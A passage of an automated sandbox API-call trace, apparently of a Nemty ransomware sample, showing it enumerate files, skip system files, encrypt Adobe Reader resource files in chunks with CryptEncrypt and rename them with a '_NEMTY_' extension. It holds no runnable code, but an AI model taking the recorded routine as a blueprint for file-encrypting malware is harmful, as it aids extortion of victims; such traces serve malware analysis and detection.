lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.554] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.554] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0207.564] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.564] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.564] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.564] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0207.573] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.573] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.573] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.573] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0207.582] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.582] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.582] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.582] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0207.592] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.592] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.592] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.592] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0207.601] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.601] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.601] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.602] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0207.611] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.611] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.611] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.611] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0207.620] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.620] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.620] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.620] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0207.626] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.626] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.626] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.626] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0207.632] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.632] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.632] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.632] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6349050, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.632] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0207.632] CloseHandle (hObject=0xffffffff) returned 0 [0207.633] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0207.633] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0207.633] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0207.633] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0207.633] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0207.633] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0207.633] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0207.633] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0207.633] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0207.633] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0207.633] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKdlb-B5-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\hkdlb-b5-v"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKdlb-B5-V._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\hkdlb-b5-v._nemty_kgobjgd_")) returned 0 [0207.633] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0207.633] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0207.633] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0207.633] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0207.633] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0207.633] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0207.633] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0207.633] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0207.633] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8e8c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x386a, dwReserved0=0x0, dwReserved1=0x0, cFileName="HKgccs-B5-H", cAlternateFileName="HKGCCS~1")) returned 1 [0207.633] lstrcmpiW (lpString1="HKgccs-B5-H", lpString2=".") returned 1 [0207.633] lstrcmpiW (lpString1="HKgccs-B5-H", lpString2="..") returned 1 [0207.633] lstrcmpiW (lpString1="HKgccs-B5-H", lpString2="...") returned 1 [0207.633] lstrcmpiW (lpString1="HKgccs-B5-H", lpString2="windows") returned -1 [0207.633] lstrcmpiW (lpString1="HKgccs-B5-H", lpString2="$RECYCLE.BIN") returned 1 [0207.633] lstrcmpiW (lpString1="HKgccs-B5-H", lpString2="rsa") returned -1 [0207.633] lstrcmpiW (lpString1="HKgccs-B5-H", lpString2="NTDETECT.COM") returned -1 [0207.633] lstrcmpiW (lpString1="HKgccs-B5-H", lpString2="ntldr") returned -1 [0207.633] lstrcmpiW (lpString1="HKgccs-B5-H", lpString2="MSDOS.SYS") returned -1 [0207.633] lstrcmpiW (lpString1="HKgccs-B5-H", lpString2="IO.SYS") returned -1 [0207.633] lstrcmpiW (lpString1="HKgccs-B5-H", lpString2="boot.ini") returned 1 [0207.634] lstrcmpiW (lpString1="HKgccs-B5-H", lpString2="boot.ini") returned 1 [0207.634] lstrcmpiW (lpString1="HKgccs-B5-H", lpString2="AUTOEXEC.BAT") returned 1 [0207.634] lstrcmpiW (lpString1="HKgccs-B5-H", lpString2="ntuser.dat") returned -1 [0207.634] lstrcmpiW (lpString1="HKgccs-B5-H", lpString2="desktop.ini") returned 1 [0207.634] lstrcmpiW (lpString1="HKgccs-B5-H", lpString2="CONFIG.SYS") returned 1 [0207.634] lstrcmpiW (lpString1="HKgccs-B5-H", lpString2="RECYCLER") returned -1 [0207.634] lstrcmpiW (lpString1="HKgccs-B5-H", lpString2="BOOTSECT.BAK") returned 1 [0207.634] lstrcmpiW (lpString1="HKgccs-B5-H", lpString2="bootmgr") returned 1 [0207.634] lstrcmpiW (lpString1="HKgccs-B5-H", lpString2="programdata") returned -1 [0207.634] lstrcmpiW (lpString1="HKgccs-B5-H", lpString2="appdata") returned 1 [0207.634] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0207.634] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HKgccs-B5-H", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0207.634] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HKgccs-B5-H", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKgccs-B5-H", lpUsedDefaultChar=0x0) returned 11 [0207.634] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0207.634] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HKgccs-B5-H", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0207.634] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HKgccs-B5-H", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKgccs-B5-H", lpUsedDefaultChar=0x0) returned 11 [0207.634] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0207.634] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0207.634] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0207.634] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HKgccs-B5-H", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0207.634] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HKgccs-B5-H", cchWideChar=11, lpMultiByteStr=0x653ec20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKgccs-B5-H", lpUsedDefaultChar=0x0) returned 11 [0207.634] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0207.635] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0207.635] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HKgccs-B5-H", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0207.635] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HKgccs-B5-H", cchWideChar=11, lpMultiByteStr=0x653ec58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKgccs-B5-H", lpUsedDefaultChar=0x0) returned 11 [0207.635] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0207.635] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0207.635] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0207.635] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0207.635] Sleep (dwMilliseconds=0x5) [0207.649] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2f6801f0, dwHighDateTime=0x1d561e8)) [0207.650] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2f6801f0, dwHighDateTime=0x1d561e8)) [0207.650] GetLastError () returned 0x5 [0207.650] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0207.650] GetLastError () returned 0x5 [0207.650] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0207.650] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0207.650] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0207.650] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0207.650] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0207.650] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0207.650] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0207.650] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e91c | out: pszString="GL7Jl0h6wxVDWjxay2Vz8nmm239FF+DxkQ+0/TJQTQqYz3DyhQPlYKA+h57X9zgb\r\nve/zfry6YQzLNZYT5+MiQEkFx5FD3jTFecWiLalxwRlYH3eDf5/bxQInwXshq2hq\r\nMUvIvmG8ijYSRVkP9hz8YpzkZm0/8Xy2aZYW1mp1I9VircNeTCm2UxoMnuWOo4sV\r\nxxmY37W/InwFNqkRM9OBmoj9pMdU+4gwb1FdWyZh/JdYJLW+2JqUwXbuI4hCE+4z\r\n2iO/rlS9uVkXv+MnHt6mNdOPmA6GwsHecOY9XQ3XU5Vgy9AT+xiKAKQ/kaIktr3w\r\nBpl9owwu4kJyqlBszaTqNg==\r\n", pcchString=0x653e91c) returned 1 [0207.650] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0207.650] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0207.650] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0207.650] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0207.650] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0207.650] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0207.650] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKgccs-B5-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\hkgccs-b5-h"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0207.650] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0207.650] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0207.650] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.651] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0207.660] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.660] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.660] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.660] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0207.669] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.669] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.669] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.669] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0207.678] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.678] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.678] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.678] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0207.688] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.688] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.688] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.688] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0207.697] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.697] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.697] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.697] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0207.706] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.706] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0207.706] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.706] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0207.716] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0207.716] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, 